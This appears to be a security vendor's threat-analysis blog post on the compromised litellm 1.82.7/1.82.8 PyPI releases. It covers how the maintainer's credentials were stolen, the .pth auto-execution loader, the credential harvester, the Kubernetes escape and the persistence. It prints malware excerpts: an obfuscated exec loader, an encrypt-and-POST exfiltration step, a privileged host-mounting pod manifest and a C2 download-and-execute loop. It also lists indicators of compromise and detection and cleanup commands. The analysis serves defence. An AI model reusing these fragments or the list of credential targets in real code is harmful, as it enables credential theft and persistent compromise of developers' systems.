Table of contents

TeamPCP Supply Chain Attack Part 2: LiteLLM PyPI Credential Stealer

TeamPCP Supply Chain Attack Part 2: LiteLLM PyPI Credential Stealer - Blog cover TEAM PCP attack V2

Last Updated: March 24, 2026 – 1:15 PM ET

Part 1 covered CanisterWorm, the self-spreading npm worm. This post covers the next wave: a malicious LiteLLM PyPI package carrying the most capable credential stealer TeamPCP has deployed yet.

On March 24, 2026, two versions of litellm, one of the most widely used Python libraries for working with AI language model APIs, were published to PyPI carrying a hidden credential stealer. Versions 1.82.7 and 1.82.8 never appeared on the official LiteLLM GitHub repository. They were published directly to PyPI using credentials stolen from a maintainer account, which TeamPCP obtained as part of their ongoing cascade of supply chain compromises.

How TeamPCP got into LiteLLM

To understand this attack you need to follow the credential chain back four days.

On March 19, TeamPCP force-pushed malicious commits over 75 of 76 version tags of aquasecurity/trivy-action and poisoned Trivy release v0.69.4. Any CI/CD pipeline that ran Trivy that day had its secrets harvested and exfiltrated to the attacker.

LiteLLM’s CI pipeline (ci_cd/security_scans.sh) installed Trivy via apt without pinning a version. When the pipeline ran on March 23, it pulled the poisoned Trivy build. The stealer inside Trivy ran inside LiteLLM’s CI environment, collected everything, including PYPI_PUBLISH_PASSWORD for the krrishdholakia maintainer account, and shipped it to checkmarx.zone.

On March 23, TeamPCP also compromised checkmarx/kics-github-action (all 35 tags hijacked) and checkmarx/ast-github-action (version 2.3.28 poisoned), expanding their credential collection to every pipeline that used Checkmarx scanning. The litellm.cloud domain was registered the same day.

By March 24 they had everything they needed. Two malicious LiteLLM versions hit PyPI within hours of each other.

What changed between 1.82.7 and 1.82.8

The two versions represent a deliberate escalation in how the payload triggers.

Version 1.82.7 hid the malicious code inside litellm/proxy/proxy_server.py. The payload only ran when a developer or application explicitly imported litellm.proxy, a common path when running the LiteLLM proxy server, but not universal.

Version 1.82.8 moved the same payload into a file named litellm_init.pth placed in the package’s site-packages directory. This changes everything. Python’s site module processes every .pth file in site-packages on startup, executing any line that begins with import. No import statement is needed in application code. No user interaction. The payload fires every time Python starts on the infected machine, regardless of whether LiteLLM is ever used.

The upgrade from a module-level hook to a .pth-level hook is significant: it means the malware persists and re-runs even after the malicious package is uninstalled, as long as the .pth file remains in site-packages.

Technical analysis

Three layers, one goal

The payload uses three nested layers of base64 encoding to obscure its code from static scanners.

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c",
  "import base64; exec(base64.b64decode('<blob>'))"],
  stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

Figure 1: Outer .pth execution — fires on every Python startup with no user action

Decoding the blob reveals the orchestrator script, which holds an embedded RSA-2048 public key and a second base64-encoded payload (the harvester). The orchestrator runs the harvester as a subprocess, captures everything it prints to stdout, encrypts the output, and ships it out.

subprocess.run(["openssl", "rand", "-out", sk, "32"])
subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected,
    "-out", ef, "-pass", f"file:{sk}", "-pbkdf2"])
subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin",
    "-inkey", pk, "-in", sk, "-out", ek,
    "-pkeyopt", "rsa_padding_mode:oaep"])
# bundles as tpcp.tar.gz, POSTs to models.litellm.cloud

Figure 2: Encryption and exfiltration pipeline — output is encrypted before leaving the machine

The data is AES-256-CBC encrypted with a random session key. The session key is RSA-OAEP encrypted with the attacker’s public key. Only the attacker can decrypt what was stolen. The archive is named tpcp.tar.gz, a direct self-reference by TeamPCP.

The credential harvester

The second-stage script is an exhaustive credential collector. In plain terms: it reads every file on the system that could contain a password, token, or private key, and sends all of it.

It specifically targets:

  • SSH keys – all key types, authorized_keys, known_hosts, host keys from /etc/ssh
  • AWS credentials – environment variables, ~/.aws/credentials, and live queries to the EC2 Instance Metadata Service (IMDS) to steal IAM role credentials
  • Kubernetes – service account tokens, ~/.kube/config, all secrets across all namespaces via the K8s API
  • GCP and Azure – application default credentials, ~/.azure directory contents
  • Dockerconfig.json including registry tokens, Kaniko build credentials
  • npm tokens~/.npmrc (connecting directly to the npm side of this campaign)
  • Database configs.pgpass, .my.cnf, redis.conf, .mongorc.js
  • Environment files.env, .env.production, .env.staging searched recursively to depth 6 across /home, /opt, /srv, /var/www, /app, /data, /tmp
  • Cryptocurrency wallets — Bitcoin, Ethereum keystores, Solana validator keypairs, Cardano signing keys, Zcash, Ripple, Litecoin, Dogecoin
  • TLS/SSL private keys*.pem, *.key, *.p12, *.pfx, Let’s Encrypt certs
  • CI/CD secretsterraform.tfvars, terraform.tfstate, Jenkinsfile, .travis.yml, .gitlab-ci.yml, .drone.yml
  • System information — hostname, username, full printenv, /etc/passwd, /etc/shadow, SSH login history

It also queries the AWS Secrets Manager and SSM Parameter Store directly using any AWS credentials it finds.

Kubernetes cluster escape

If the infected machine is running inside a Kubernetes pod with a service account token at /var/run/secrets/kubernetes.io/serviceaccount/token, the harvester escalates:

pod_manifest = {
    'spec': {
        'hostPID': True, 'hostNetwork': True,
        'tolerations': [{'operator': 'Exists'}],
        'containers': [{
            'image': 'alpine:latest',
            'command': ['sh', '-c', drop_cmd],
            'securityContext': {'privileged': True},
            'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]
        }],
        'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}]
    }
}
k8s_post('/api/v1/namespaces/kube-system/pods', pod_manifest)

Figure 3: Privileged pod manifest deployed to every cluster node, mounts the host filesystem via chroot

It enumerates every node in the cluster and deploys this pod to each one. The pod mounts / from the host and uses chroot to install the backdoor directly onto the underlying node, outside the container boundary.

Persistence backdoor

After exfiltration, the harvester drops a polling backdoor to ~/.config/sysmon/sysmon.py and registers it as a systemd user service (sysmon.service). The backdoor checks https://checkmarx.zone/raw every 50 minutes for a URL, downloads whatever binary it points to, writes it to /tmp/pglog, and executes it.

C_URL   = "https://checkmarx.zone/raw"
TARGET  = "/tmp/pglog"
STATE   = "/tmp/.pg_state"
time.sleep(300)   # 5-minute sandbox evasion delay
while True:
    l = g()       # fetch URL from C2
    if l and l != prev and "youtube.com" not in l:
        e(l)      # download and execute
    time.sleep(3000)

Figure 4: C2 polling loop with YouTube kill-switch — identical logic to CanisterWorm’s pgmon backdoor

The youtube.com kill-switch, the /tmp/pglog target path, the /tmp/.pg_state state file, and the 300/3000 second timing are identical to the backdoor deployed by CanisterWorm on npm. This is the same codebase, the same actor.

Attribution: Same actor, bigger payload

The connection to TeamPCP and CanisterWorm is direct:

IndicatorThis malwareCanisterWorm (npm)
Exfil archivetpcp.tar.gzactor name “TeamPCP”
C2 state file/tmp/.pg_state/tmp/.pg_state
C2 payload target/tmp/pglog/tmp/pglog
Backdoor poll interval3000 seconds3000 seconds
Startup delay300 seconds300 seconds
Kill-switchyoutube.com not in urlyoutube.com not in url
Persistence mechanismsystemd user servicesystemd user service

The LiteLLM payload is a significant capability upgrade over CanisterWorm. Where CanisterWorm’s Python backdoor slot held a placeholder (hello123), this is the real thing, a production-grade stealer with AWS API integration, K8s cluster escape, cryptocurrency wallet enumeration, and RSA-encrypted exfiltration.

Indicators of compromise

Network

IndicatorPurpose
hxxps://models.litellm[.]cloud/Exfiltration endpoint
hxxps://checkmarx[.]zone/rawC2 polling for payload URL
hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/AWS IMDS credential theft

Filesystem

PathDescription
~/.config/sysmon/sysmon.pyPersistent C2 backdoor
~/.config/systemd/user/sysmon.serviceSystemd persistence unit
/tmp/pglogDownloaded payload binary
/tmp/.pg_stateC2 state tracking
litellm_init.pth in site-packagesMalicious .pth loader (v1.82.8)

Kubernetes

  • Pods named node-setup-* in namespace kube-system
  • Created with hostPID: true, hostNetwork: true, privileged: true

Cryptographic

  • RSA-2048 attacker public key fingerprint (embedded in payload): vahaZDo8mucujrT15ry+08qNLwm3kxzFSMj84M16lmIEeQA8u1X8DGK0...

Detection

Check for active infection

# Check for backdoor service
systemctl --user status sysmon.service

# Check for backdoor script and C2 artifacts
ls -la ~/.config/sysmon/sysmon.py
ls -la ~/.config/systemd/user/sysmon.service
ls -la /tmp/pglog /tmp/.pg_state

# Check for malicious .pth in all Python environments
find $(python3 -c "import site; print('\n'.join(site.getsitepackages()))") \
  -name "*.pth" | xargs grep -l "subprocess.Popen" 2>/dev/null

# Check for K8s escape pods
kubectl get pods -n kube-system | grep node-setup

Figure 5: Detection commands for the sysmon backdoor and associated artifacts

Remove the backdoor

systemctl --user stop sysmon.service
systemctl --user disable sysmon.service
rm -f ~/.config/systemd/user/sysmon.service
rm -rf ~/.config/sysmon/
rm -f /tmp/pglog /tmp/.pg_state
systemctl --user daemon-reload

# Remove malicious .pth file
pip uninstall litellm  # also manually verify .pth is gone from site-packages

Figure 6: Remediation steps for infected hosts

Rotate credentials immediately

Any machine that had Python start with litellm 1.82.7 or 1.82.8 installed must be treated as fully compromised. Rotate: AWS IAM keys, SSH keys, npm tokens, database passwords, Kubernetes service account tokens, Docker registry credentials, and any cloud provider credentials present in environment variables or config files.

Conclusion

The LiteLLM attack is the third major wave in TeamPCP’s March 2026 campaign. Trivy provided initial access. CanisterWorm spread through the npm ecosystem. Now a malicious PyPI package reaches a different but overlapping audience: AI and ML developers who use LiteLLM to integrate language models into applications. These pipelines routinely have access to cloud credentials, model API keys, and production infrastructure.

The upgrade from npm to PyPI, and from module-level hooks to .pth auto-execution, shows an actor that is actively evolving their delivery mechanisms across ecosystems while keeping the same core payload and infrastructure.
PyPI has quarantined the affected versions. If you are running LiteLLM, verify your installed version (pip show litellm) and upgrade to a clean release. If you were running 1.82.7 or 1.82.8 at any point, assume compromise and rotate all credentials.

Manage open source risk

Recent resources

TeamPCP Supply Chain Attack Part 2: LiteLLM PyPI Credential Stealer - Blog cover CanisterWorm

CanisterWorm: The Self-Spreading npm Attack That Uses a Decentralized Server to Stay Alive

Deep dive into the self-spreading CanisterWorm.

Read more
TeamPCP Supply Chain Attack Part 2: LiteLLM PyPI Credential Stealer - Blog Mend Partnership Expansion 1000x650

Mend.io Expands Its Global Infrastructure with a Dedicated Cloud Region in India

Local cloud infrastructure in India for data residency requirements.

Read more
TeamPCP Supply Chain Attack Part 2: LiteLLM PyPI Credential Stealer - Blog Claude code security

Why Claude Code Security Is a Big Moment for Application Security

Discover why enterprise scale requires more than just AI code review - it requires governance.

Read more

AI Security & Compliance Assessment

Map your maturity against the global standards. Receive a personalized readiness report in under 5 minutes.